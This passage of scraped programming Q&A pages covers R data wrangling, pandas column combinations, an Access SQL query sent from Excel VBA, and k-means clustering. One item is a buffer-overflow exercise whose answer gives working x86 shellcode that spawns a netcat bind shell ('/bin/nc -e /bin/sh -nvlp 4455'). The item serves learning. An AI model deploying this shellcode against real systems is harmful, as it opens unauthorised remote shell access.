The final dataset will be something like this:
Any idea is really appreciated
ANSWER
Answered 2022-Jan-29 at 23:26Perhaps this helps
library(dplyr)
df1 %>%
mutate(count = replace(+(is.na(stop)), stop == "Yes", -1)) %>%
group_by(Participant_ID, group, stra_arm) %>%
mutate(count = cumsum(count)) %>%
group_by(time, .add = TRUE) %>%
summarise(count = max(count), .groups = 'drop')
-output
# A tibble: 6 × 5
Participant_ID group stra_arm time count
1 1 2 3 0 5
2 1 2 3 6 4
3 1 2 3 68 3
4 1 2 3 102 4
5 1 2 3 111 5
6 2 1 6 0 4
QUESTION
Hopefully this simple explanation will get across what I'm trying to do. Suppose I had a Pandas dataframe that had the following columns:
A B C D E
1 2 4 6 4
3 4 1 2 3
4 7 4 1 4
Does anyone know a way (without doing it manually) that I could create a new set of columns within that table that sum across subsets of permutations of the columns? I've been doing some searches and not had any luck given this being a rather specific query.
For instance if I wanted all combinations of sums of subsets of 3 columns from the 5 columns - some of the additional rows might like look like:
ABC ACE BDE
7 9 12
8 7 9
15 12 12
...and so in (in this case there'd be 5C3 = 10 rows - but I'm actually looking at a 7C4 example)
Thanks in advance !
ANSWER
Answered 2022-Jan-20 at 11:14Use combinations
instead permutations
and for each values of tuple sum values together:
from itertools import combinations
cc = list(combinations(df.columns,3))
df = pd.concat([df.loc[:, c].sum(axis=1) for c in cc], axis=1, keys=cc)
df.columns = df.columns.map(''.join)
print (df)
ABC ABD ABE ACD ACE ADE BCD BCE BDE CDE
0 7 9 7 11 9 11 12 10 12 14
1 8 9 10 6 7 8 7 8 9 6
2 15 12 15 9 12 9 12 15 12 9
QUESTION
For the code listed below, it runs fine except for the first SQL query. I'm pulling address and state information from the workbook, and running a query on the information to find the count of how many times the address appears in the table. If I run the code and stop it before the query is sent to Access, I can pull the query command from the Immediate window, go to Access, and run the query no problem. However, if I just run the VBA program and have it send the query to Access, I keep getting 0 for the result. So long story short, the query will run in Access and provide the correct result, but when Excel VBA sends the query to Access, I keep getting zero for the result (and no error messages). Any help would be greatly appreciated.
Dim DatabaseFileName As String, connectionstring As String
connectionstring = "Provider=Microsoft.ACE.OLEDB.12.0; Data Source=" & DatabaseFileName & "; Persist Security Info=False;"
Dim conn As New ADODB.Connection
conn.Open connectionstring
Dim rs As New ADODB.Recordset, SQL As String
Dim ExecSQL As New ADODB.Command
With ThisWorkbook.Sheets(1)
For I = 2 To 1235
SQL = ""
If .Cells(I, 7) <> "" Then
SQL = "SELECT Count(VRSC_CUSTOMER_SITES.SITE_ID) AS GCOUNT into [GVRCount1] "
SQL = SQL & "FROM (VRSC_CUSTOMER_SITES) "
SQL = SQL & "WHERE ((VRSC_CUSTOMER_SITES.SITE_STREET Like " & Chr(34) & .Cells(I, 7) & Chr(34) & ") AND ((VRSC_CUSTOMER_SITES.SITE_ST)="
SQL = SQL & Chr(34) & .Cells(I, 5) & Chr(34) & ") AND ((VRSC_CUSTOMER_SITES.SITE_PHONE) Not Like ""999*""));"
rs.Open SQL, conn
SQL = "SELECT * FROM [GVRCount1]"
rs.Open SQL
.Cells(I, 8).CopyFromRecordset rs
End If
Next
End With
With ThisWorkbook.Sheets(2)
.Range("A1").CopyFromRecordset rs
End With
conn.Close
End Sub
ANSWER
Answered 2021-Dec-30 at 22:30Essentially, the issue is due to the LIKE
operator. Whenever you run an Access query over an ODBC/OLEDB connection, the wildcard to use is the current ANSI version %
. However, in Access GUI, the wildcard uses the older version, *
. See MSDN docs discussing this wildcard usage.
To be compatible between Excel and Access (VBA or GUI), consider undocumented ALIKE
operator to only use %
. Additionally, use ADO parameterization using ADO command and avoid concatenation of values to SQL statement. Below replaces the first LIKE
with =
since no wildcard is used and the make-table action using INTO
was removed. Also, New
is removed from any Dim
lines.
Dim DatabaseFileName As String, connectionstring As String, SQL As String
Dim conn As ADODB.Connection, rs As ADODB.Recordset, ExecSQL As ADODB.Command
Dim I As Long
connectionstring = "Provider=Microsoft.ACE.OLEDB.12.0; Data Source=" _
& DatabaseFileName & "; Persist Security Info=False;"
Set conn = New ADODB.Connection
conn.Open connectionstring
' PREPARED STATEMENT WITH ? PLACEHOLDERS
SQL = "SELECT COUNT(v.SITE_ID) AS GCOUNT " _
& "FROM VRSC_CUSTOMER_SITES v " _
& "WHERE v.SITE_STREET = ? " _
& " AND v.SITE_ST = ? " _
& " AND v.SITE_PHONE NOT ALIKE '999%';" _
For I = 2 To 1235
If ThisWorkbook.Sheets(1).Cells(I, 7) <> "" Then
Set ExecSQL = New ADODB.Command
With ExecSQL
.ActiveConnection = conn
.CommandText = SQL
.CommandType = adCmdText
' BIND PARAMETERS
.Parameters.Append .CreateParameter("street_param", adVarchar, adParamInput, 255, ThisWorkbook.Sheets(1).Cells(I, 7))
.Parameters.Append .CreateParameter("st_param", adVarchar, adParamInput, 255, ThisWorkbook.Sheets(1).Cells(I, 5))
' EXECUTE QUERY AND BIND INTO RECORDSET
Set rs = .Execute
End With
ThisWorkbook.Sheets(1).Cells(I, 8).CopyFromRecordset rs
End If
Next I
With ThisWorkbook.Sheets(2)
.Range("A1").CopyFromRecordset rs
End With
QUESTION
I have been learning buffer overflows and i am trying to execute the following command through shellcode /bin/nc -e /bin/sh -nvlp 4455
. Here is my assembly code:
;Simple assembly execve call to execute /bin/ls -la
;modified to execve >
;/bin/nc -e /bin/sh -nvlp 4455
global _start
section .text
_start:
xor eax, eax ;create null eax register
push eax ;push null eax register to the stack
push 0x636e2f2f ;push command to the stack
push 0x6e69622f ;"/bin//nc"
mov ebx, esp ;move pointer to command into ebx
push eax ;push null eax register to the stack
;push 0x61616c2d ;push argument to the stack "-laa"
push 0x35353434 ;push "4455"
push 0x20706c76 ;push "vlp "
push 0x6e2d2068 ;push "h -n"
push 0x7361622f ;push "/bas"
push 0x6e69622f ;push "/bin"
push 0x2f20652d ;push "-e /"
push 0x636e2f2f ;push "//nc"
push 0x6e69622f ;push "/bin"
mov esi, esp ;move stack pointer to esi
push eax ;push null eax register to the stack
push esi ;push address of the argument to the stack
push ebx ;push address of the command to the stack
mov ecx, esp ;move pointer to start of the command to ecx
mov edx,eax ;null arguments for last execve (file, argv, envp)
mov al, 0xb ;define execve
int 0x80 ;execute command
I am using the following commands to build the assembly file. I keep getting forward host lookup failed. Unknown Host error. Am I doing something wrong? I have
$ make all
nasm -f elf32 shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
┌──(kali㉿kali)-[~/Desktop/assembly]
└─$ ./shellcode
/bin//nc-e //bin/bash -nvlp 4455: forward host lookup failed: Unknown host
Here is strace output as well. It's so much gibberish for me, I couldn't even understand a line.
execve("./shellcode", ["./shellcode"], 0x7fffffffe070 /* 55 vars */) = 0
execve("/bin//nc", ["/bin//nc", "/bin//nc-e //bin/bash -nvlp 4455"], NULL) = 0
brk(NULL) = 0x55555555e000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=95011, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 95011, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fae000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000y\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\200\0\300\4\0\0\0\1\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\320\276\243\212\v\307^\t\263h8\371\266h\r\350"..., 68, 880) = 68
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=1835120, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fac000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 1868664, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7de3000
mprotect(0x7ffff7e09000, 1654784, PROT_NONE) = 0
mmap(0x7ffff7e09000, 1343488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7ffff7e09000
mmap(0x7ffff7f51000, 307200, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16e000) = 0x7ffff7f51000
mmap(0x7ffff7f9d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b9000) = 0x7ffff7f9d000
mmap(0x7ffff7fa3000, 33656, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fa3000
close(3) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7de1000
arch_prctl(ARCH_SET_FS, 0x7ffff7fad600) = 0
mprotect(0x7ffff7f9d000, 12288, PROT_READ) = 0
mprotect(0x55555555c000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffb000, 8192, PROT_READ) = 0
munmap(0x7ffff7fae000, 95011) = 0
getpid() = 15163
newfstatat(AT_FDCWD, "/etc/resolv.conf", {st_mode=S_IFREG|0644, st_size=74, ...}, 0) = 0
brk(NULL) = 0x55555555e000
brk(0x55555557f000) = 0x55555557f000
openat(AT_FDCWD, "/etc/host.conf", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=9, ...}, AT_EMPTY_PATH) = 0
read(3, "multi on\n", 4096) = 9
read(3, "", 4096) = 0
close(3) = 0
openat(AT_FDCWD, "/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=74, ...}, AT_EMPTY_PATH) = 0
read(3, "# Generated by NetworkManager\nse"..., 4096) = 74
read(3, "", 4096) = 0
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=74, ...}, AT_EMPTY_PATH) = 0
close(3) = 0
getpid() = 15163
rt_sigaction(SIGINT, {sa_handler=0x555555557280, sa_mask=[INT], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=0x555555557280, sa_mask=[QUIT], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTERM, {sa_handler=0x555555557280, sa_mask=[TERM], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGURG, {sa_handler=SIG_IGN, sa_mask=[URG], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
newfstatat(AT_FDCWD, "/etc/resolv.conf", {st_mode=S_IFREG|0644, st_size=74, ...}, 0) = 0
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3) = 0
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3) = 0
newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=542, ...}, 0) = 0
newfstatat(AT_FDCWD, "/", {st_mode=S_IFDIR|0755, st_size=36864, ...}, 0) = 0
openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=542, ...}, AT_EMPTY_PATH) = 0
read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 542
read(3, "", 4096) = 0
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=542, ...}, AT_EMPTY_PATH) = 0
close(3) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=95011, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 95011, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fae000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnss_files.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3202\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=47664, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 75544, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7dce000
mmap(0x7ffff7dd1000, 24576, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7ffff7dd1000
mmap(0x7ffff7dd7000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x9000) = 0x7ffff7dd7000
mmap(0x7ffff7dd9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xa000) = 0x7ffff7dd9000
mmap(0x7ffff7ddb000, 22296, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ddb000
close(3) = 0
mprotect(0x7ffff7dd9000, 4096, PROT_READ) = 0
munmap(0x7ffff7fae000, 95011) = 0
openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=184, ...}, AT_EMPTY_PATH) = 0
lseek(3, 0, SEEK_SET) = 0
read(3, "127.0.0.1\tlocalhost\n127.0.1.1\tka"..., 4096) = 184
read(3, "", 4096) = 0
close(3) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=95011, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 95011, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fae000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\22\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18504, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 20496, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7dc8000
mmap(0x7ffff7dc9000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7ffff7dc9000
mmap(0x7ffff7dcb000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7ffff7dcb000
mmap(0x7ffff7dcc000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7ffff7dcc000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260C\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=93080, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 105088, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7dae000
mprotect(0x7ffff7db2000, 73728, PROT_NONE) = 0
mmap(0x7ffff7db2000, 57344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x4000) = 0x7ffff7db2000
mmap(0x7ffff7dc0000, 12288, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x12000) = 0x7ffff7dc0000
mmap(0x7ffff7dc4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15000) = 0x7ffff7dc4000
mmap(0x7ffff7dc6000, 6784, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dc6000
close(3) = 0
mprotect(0x7ffff7dc4000, 4096, PROT_READ) = 0
mprotect(0x7ffff7dcc000, 4096, PROT_READ) = 0
munmap(0x7ffff7fae000, 95011) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=95011, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 95011, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fae000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260!\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=31136, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 32984, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7da5000
mmap(0x7ffff7da7000, 16384, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7ffff7da7000
mmap(0x7ffff7dab000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7ffff7dab000
mmap(0x7ffff7dac000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7ffff7dac000
close(3) = 0
mprotect(0x7ffff7dac000, 4096, PROT_READ) = 0
munmap(0x7ffff7fae000, 95011) = 0
write(2, "/bin//nc-e //bin/bash -nvlp 4455"..., 62) = 62
write(2, "Unknown host", 12) = 12
write(2, "\n", 1) = 1
close(-1) = -1 EBADF (Bad file descriptor)
exit_group(1) = ?
+++ exited with 1 +++
Result of env command:
COLORFGBG=15;0
COLORTERM=truecolor
COMMAND_NOT_FOUND_INSTALL_PROMPT=1
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
DESKTOP_SESSION=lightdm-xsession
DISPLAY=:0.0
DOTNET_CLI_TELEMETRY_OPTOUT=1
GDMSESSION=lightdm-xsession
GDM_LANG=en_US.utf8
GTK_MODULES=gail:atk-bridge
HOME=/home/kali
LANG=en_US.UTF-8
LANGUAGE=
LOGNAME=kali
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/kali/.local/bin
POWERSHELL_TELEMETRY_OPTOUT=1
POWERSHELL_UPDATECHECK=Off
PWD=/home/kali/Desktop/assembly
QT_ACCESSIBILITY=1
QT_AUTO_SCREEN_SCALE_FACTOR=0
QT_QPA_PLATFORMTHEME=qt5ct
SESSION_MANAGER=local/kali:@/tmp/.ICE-unix/1132,unix/kali:/tmp/.ICE-unix/1132
SHELL=/usr/bin/zsh
SSH_AGENT_PID=1180
SSH_AUTH_SOCK=/tmp/ssh-XXXXXXkm5FhN/agent.1132
TERM=xterm-256color
USER=kali
WINDOWID=0
XAUTHORITY=/home/kali/.Xauthority
XDG_CONFIG_DIRS=/etc/xdg
XDG_CURRENT_DESKTOP=XFCE
XDG_DATA_DIRS=/usr/share/xfce4:/usr/local/share/:/usr/share/:/usr/share
XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali
XDG_MENU_PREFIX=xfce-
XDG_RUNTIME_DIR=/run/user/1000
XDG_SEAT=seat0
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
XDG_SESSION_CLASS=user
XDG_SESSION_DESKTOP=lightdm-xsession
XDG_SESSION_ID=9
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
XDG_SESSION_TYPE=x11
XDG_VTNR=7
_JAVA_OPTIONS=-Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
SHLVL=1
OLDPWD=/home/kali/Desktop
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
LESS_TERMCAP_mb=
LESS_TERMCAP_md=
LESS_TERMCAP_me=
LESS_TERMCAP_so=
LESS_TERMCAP_se=
LESS_TERMCAP_us=
LESS_TERMCAP_ue=
_=/usr/bin/env
ANSWER
Answered 2021-Dec-29 at 14:12As you can see in strace
, the execve command executes as: execve("/bin//nc", ["/bin//nc", "/bin//nc-e //bin/bash -nvlp 4455"], NULL) = 0
It seems to be taking the whole /bin//nc-e //bin/bash -nvlp 4455
as a single argument and thus thinks it's a hostname. In order to get around that, the three argv[]
needed for execve()
is pushed seperately. argv[]=["/bin/nc", "-e/bin/bash", "-nvlp4455"]
These arguments are each pushed into edx, ecx, and ebx. since ebx needs to be /bin/nc, which was already done in the original code. we just needed to push 2nd and 3rd argv[] into ecx and edx and push it into stack. After that we just copy the whole stack into ecx, and then xor edx,edx
to set edx as NULL.
Here is the correct solution:
BITS 32
;Simple assembly execve call to execute /bin/ls -la
;modified to execve >
;/bin/nc -e /bin/sh -nvlp 4455
global _start
section .text
_start:
xor eax, eax ;create null eax register
; imul eax
;EBX = /bin/bash
push eax ;push null eax register to the stack
push 0x636e2f2f ;push command to the stack
push 0x6e69622f ;"/bin//nc"
mov ebx, esp ;move pointer to command into ebx
push eax ;push null eax register to the stack
;EDX = "-nvlp4455"
push word 0x35 ;push "5"
push 0x35343470 ;push "p445"
push 0x6c766e2d ;push "-nvl"
mov edx, esp ; store last argv[] is edx. and push to stack
; ECX = "/bin/bash"
push eax ; push null
push 0x68736162 ;push "bash"
push 0x2f2f6e69 ;push "in//"
push 0x622f652d ;push "-e/b"
mov ecx, esp ; store 2nd argv[] in ecx and push to stack
;PUSH all arguments to stack and set it to ECX
push eax ;push null eax register to the stack
push edx ; push "-nvlp4455"
push ecx ;;push "-e/bin/bash"
push ebx ;push "/bin/nc"
mov ecx, esp ;move pointer to start of the command to ecx
xor edx,edx ;null arguments for last envp[]
mov al, 0xb ;define execve
int 0x80 ;execute command
QUESTION
I tried to cluster my dataset using K-mean, but there is a categorical data in column 9; so when I ran k-mean it had an error like this:
res<-NbClust(mi[2:9],min.nc=2,max.nc=15,method="ward.D2")
Error in t(jeu) %*% jeu : requires numeric/complex matrix/vector arguments
So I could only run K-mean for columns from 2 to 8. I wonder if there is another way of clustering the data where I could run with column 9 as well?
Data:
df <- structure(list(Name = structure(c(58L, 188L, 40L, 155L, 32L, 88L, 92L, 55L, 135L, 31L, 139L, 26L, 126L, 10L, 166L, 104L, 75L, 180L, 35L, 175L, 77L, 99L, 4L, 71L, 141L, 176L, 53L, 39L, 172L, 196L, 123L, 107L, 16L, 96L, 82L, 185L, 30L, 15L, 94L, 129L, 187L, 151L, 33L, 23L, 28L, 44L, 157L, 69L, 132L, 83L, 131L, 11L, 182L, 181L, 54L, 115L, 116L, 183L, 150L, 195L, 45L, 144L, 1L, 110L, 17L, 114L, 9L, 117L, 112L, 70L, 34L, 169L, 27L, 66L, 3L, 73L, 133L, 91L, 154L, 130L, 160L, 105L, 90L, 165L, 67L, 100L, 162L, 98L, 29L, 68L, 189L, 192L, 102L, 190L, 134L, 136L, 52L, 12L, 81L, 59L, 63L, 122L, 93L, 109L, 178L, 138L, 5L, 43L, 140L, 95L, 2L, 174L, 76L, 51L, 156L, 60L, 149L, 128L, 177L, 142L, 103L, 7L, 8L, 14L, 164L, 74L, 145L, 148L, 113L, 86L, 108L, 48L, 163L, 6L, 186L, 89L, 36L, 191L, 125L, 120L, 62L, 65L, 124L, 168L, 147L, 79L, 173L, 84L, 193L, 25L, 146L, 121L, 127L, 153L, 13L, 106L, 119L, 161L, 49L, 97L, 101L, 61L, 137L, 24L, 85L, 194L, 78L, 41L, 170L, 47L, 118L, 184L, 179L, 72L, 42L, 111L, 87L, 57L, 38L, 37L, 171L, 22L, 50L, 80L, 159L, 18L, 152L, 64L, 56L, 158L, 167L, 46L, 19L, 21L, 20L, 143L), .Label = c("#Mashtag 2013", "#Mashtag 2014", "#Mashtag 2015", "10 Heads High", "5am Saint", "77 Lager", "AB:02", "AB:03", "AB:04", "AB:06", "AB:08", "AB:10", "AB:11", "AB:13", "AB:15", "AB:17", "AB:18", "AB:20", "Ace Of Chinook", "Ace Of Citra", "Ace Of Equinox", "Ace Of Simcoe", "Albino Squid Assasin", "Alice Porter", "All Day Long - Prototype Challenge", "Alpha Dog", "Alpha Pop", "Amarillo - IPA Is Dead", "American Ale", "Anarchist Alchemist", "Arcade Nation", "Avery Brown Dredge", "Baby Dogma", "Baby Saison - B-Sides", "Bad Pixie", "Barley Wine - Russian Doll", "Barrel Aged Albino Squid Assassin", "Barrel Aged Hinterland", "Berliner Weisse With Raspberries And Rhubarb - B-Sides", "Berliner Weisse With Yuzu - B-Sides", "Bitch Please (w/ 3 Floyds)", "Black Dog", "Black Eye Joe (w/ Stone Brewing Co)", "Black Eyed King Imp", "Black Eyed King Imp - Vietnamese Coffee Edition", "Black Hammer", "Black Jacques", "Black Tokyo Horizon (w/Nøgne Ã\230 & Mikkeller)", "Blitz Berliner Weisse", "Blitz Series", "Born To Die", "Bounty Hunter - Shareholder Brew", "Bourbon Baby", "Bracken's Porter", "Bramling X", "Brewdog Vs Beavertown", "Brixton Porter", "Buzz", "Candy Kaiser", "Cap Dog (w/ Cap Brewery)", "Catherine's Pony (w/ Beavertown)", "Challenger", "Chaos Theory", "Chili Hammer", "Chinook - IPA Is Dead", "Citra", "Clown King", "Cocoa Psycho", "Coffee Imperial Stout", "Comet", "Dana - IPA Is Dead", "Dead Metaphor", "Dead Pony Club", "Deaf Mermaid - B-Sides", "Devine Rebel (w/ Mikkeller)", "Dog A", "Dog B", "Dog C", "Dog D", "Dog E", "Dog Fight (w/ Flying Dog)", "Dog Wired (w/8 Wired)", "Dogma", "Doodlebug", "Double IPA - Russian Doll", "Edge", "El Dorado - IPA 